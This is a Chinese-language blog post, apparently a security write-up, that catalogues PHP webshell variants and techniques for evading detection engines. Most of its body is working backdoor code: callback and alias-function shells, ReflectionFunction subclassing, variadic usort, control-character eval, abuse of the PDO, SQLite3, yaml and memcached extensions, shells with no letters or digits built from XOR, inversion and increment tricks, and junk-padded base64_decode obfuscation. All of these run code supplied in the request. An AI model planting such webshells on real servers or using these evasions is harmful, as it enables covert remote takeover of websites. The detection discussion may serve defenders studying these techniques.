webshell的变形与思考

webshell 介绍

webshell 是以常见的编程语言(PHP,JAVA,ASP,ASPX或者cgi)编写的网页文件,最初的目的是为了方便网站管理、服务器管理、权限管理等,使用方法简单,只需写短短几行代码,并且通过网址访问就可进行日常操作,极大的方便了使用者对网站和服务器的管理。因为其方便小巧的特性,如今转变成恶意后门来使用,已达控制网站服务器的目的.

webshell 种类

p牛在19年kcon大会上的议题PHP动态特性的捕捉与逃逸中,把webshell分成了如下几类:

QQ图片20211212180226

PHP动态特性的捕捉与逃逸

直接型

直接型言简意赅,直接通过http请求传递要执行的代码

回调型

利用回调函数如call_user_funcarray_map等,这里就体现了php的灵活,一段不确定功能的代码,变量值的改变可以导致这段代码发生功能上的变化。

变形型

对webshell中的一些变量名恶意代码,进行混淆、加密、压缩等操作,以达到被查杀的目的。

命令型

也很好理解,直接通过popen和系统进程通信执行命令,常见的如systemshell_exec反引号等等

包含型

包含型可能是最不容易被查杀的手段,至少静态查杀没有有效的方法,通过包含恶意代码执行的方式将结果带出,日常开发中也有很多地方用到包含的函数如requireinclude_once等等,从开发的角度看,包含型的webshell没有什么明显的特征,只能从流量侧进行查杀。

技巧型

利用对php的一些特性执行恶意代码,如preg_replace \e 执行任意代码、或者利用php的base64_decode函数的容错性。

针对回调型webshell的检测

针对回调型后门,一般可以用遍历AST Tree、判断回调参数是否是变量、分析FuncCall Node,判断是否调用了含有回调参数的函数。

php是一个很神奇的语言,若检测引擎对函数名进行黑名单检测,大部分编程语言的关键字都是大小写敏感,但php可以对函数进行大小写绕过而不改变函数的用法如

uSoRt($_POST[1],$_POST[2]);

当然大部分检测引擎不会犯这么低级的错误。

别名函数

一些函数在php官方文档搜不到,但实际上是一些函数的别名如 mb_ereg_replacemb_eregi_replace的别名函数,mbereg_replacembereg_ireplace,他们的作用和preg_replace一样,在/e模式下可以执行任意代码,在PHP7删除了preg_replace/e模式之后,mb_ereg_replace/e模式依然能用,因此可以构造含有别名函数的webshell以达到绕过的目的

mbereg_replace(‘.*’, ‘\0’, $_REQUEST[2333], ‘mer’);

不过,mbereg_replace这个别名在PHP7.3被移除了,所以上述代码只能在7.2及以下的PHP中使用。

重命名函数

PHP5.6开始引用函数名的命名空间,可以用

use function A as B

的形式导入A函数,实际写webshell的效果如下:

1
2
3
4
<?php
use function \assert as test;

test($_REQUEST[aaa]);

匿名类与类的继承

类似重命名函数,类的继承也可以理解为一种”重命名”。子类拥有父类的所有方法,也可以做所有父类支持的操作。具体的代码实现如下

1
2
3
4
5
6
7
class test extends ReflectionFunction {}
$f = new test($_POST['name']);
$f -> invoke($_POST[aaaa]);

//php7支持的匿名类写法
$f = new class($_POST['name']) extends ReflectionFunction {};
$f -> invoke($_POST[aaaa]);

变长参数

变长参数是PHP5.6引入的新特性,即在PHP中可以使用func(...$arr)这样的方式,将$arr数组展开成多个参数传入func函数。配合回调后门可变形如下

1
2
<?php
usort(...$_GET);

请求的时候/test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert即可

控制字符

对于一些PHPAST解释引擎如PHP-Parser和正常的PHP的引擎有一些区别,正常的PHP引擎会忽略控制字符,正确执行PHP函数,而PHP-Parser无法正确解析包含控制字符的函数。
控制字符范围

1
[\x00-\x20]

所有可以构造带有控制字符的webshell可以绕过一些具有语法解析的webshell检测引擎

1
2
<?php
eval\x01\x02($_POST[aaaa]);

PHP标签

打CTF的经常遇到,如果过滤了<?php,可以用<script languagt="php">构造webshell上传绕过限制。

20211214003215

技巧型拓展

利用php扩展库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27

<?php

//利用pdo扩展
$db = new PDO('sqlite::memory:');
$st = $db -> quert("SELECT 'phpinfo()'");
$re = $st -> fetchAll(PDO::FETCH_FUNC,'assert');

//利用sqlite3扩展
$e = $_REQUEST['e'];
$db = new SQLite3('sqlite.db3');
$db->createFunction('myfunc', $e);
$stmt = $db->prepare("SELECT myfunc(?)");
$stmt->bindValue(1, $_REQUEST['pass'], SQLITE3_TEXT);
$stmt->execute();

//利用php_yaml扩展
$str = urlencode($_REQUEST['pass']);
$yaml = <<<EOD
greeting: !{$str} "|.+|e"
EOD;
$parsed = yaml_parse($yaml, 0, $cnt, array("!{$_REQUEST['pass']}" => 'preg_replace'));

//利用php_memcached扩展
$mem = new Memcache();
$re = $mem->addServer('localhost', 11211, TRUE, 100, 0, -1, TRUE, create_function('$a,$b,$c,$d,$e', 'return assert($a);'));
$mem->connect($_REQUEST['pass'], 11211, 0);

无字母数字的webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
<?php

//利用不可见字符异或
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);


//利用汉字和取反字符
$__=('>'>'<')+('>'>'<');
$_=$__/$__;

$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});

$_____='_';$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});

$_=$$_____;
$____($_[$__]);


//不利用取反异或,只用自增自减,只通过一个字符获取其他字符
$_=[];
$_=@"$_"; // $_='Array';
$_=$_['!'=='@']; // $_=$_[0];
$___=$_; // A
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;
$___.=$__; // S
$___.=$__; // S
$__=$_;
$__++;$__++;$__++;$__++; // E
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // R
$___.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$___.=$__;

$____='_';
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // P
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // O
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // S
$____.=$__;
$__=$_;
$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++; // T
$____.=$__;

$_=$$____;
$___($_[_]); // ASSERT($_POST[_]);

利用base64_decode特性

前阵子在代码审计星球,P喵呜师傅分享了个trickphpbase64_decode函数的容错性很高,即使在一段标准的base64字符串中乱加内容(一些特殊字符),该函数依然能正确解析,因此可以衍生出包含垃圾字符的webshell

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
$base64_decode_str = 'edoced_46esab';
$base64_decode = strrev($base64_decode_str);

// get_defined_vars 的 base64
$parameter_base64 = 'Z~2!!!V#0%X{2}R.l;Z,ml.u|Z-W^R……f*dmFycw==^^^^^^';
$parameter = $base64_decode($parameter_base64);
// assert 的 base64
$assert_base64 = '<>-Y|X_N@z!Z\X]J[0:.::::';
$asser = $base64_decode($assert_base64);

$asser($parameter()['_GET'][1]);
>

对base64_decode特性的思考

因为打CTF打多了,对base64比较熟悉,突然想到,能否把base64misc中常见的base64隐写结合起来,把代码隐藏在base64加密的后4位字符中。理论是可行的,但经过实验,发现一些难点,首先,base64隐写容错性太低,一段简单的话,需要生成大量的base64字符串表示,如果像蚁剑一样,每次将要执行的代码经过base64隐写再发送到服务器,数据内容会过于臃肿,若再执行一些上传操作或浏览数据库数据的功能,恐怕服务器后端会处理不了大量数据而将数据包舍弃。

Refer

PHP回调后门

一些不包含数字和字母的webshell

PHP动态特性的捕捉与逃逸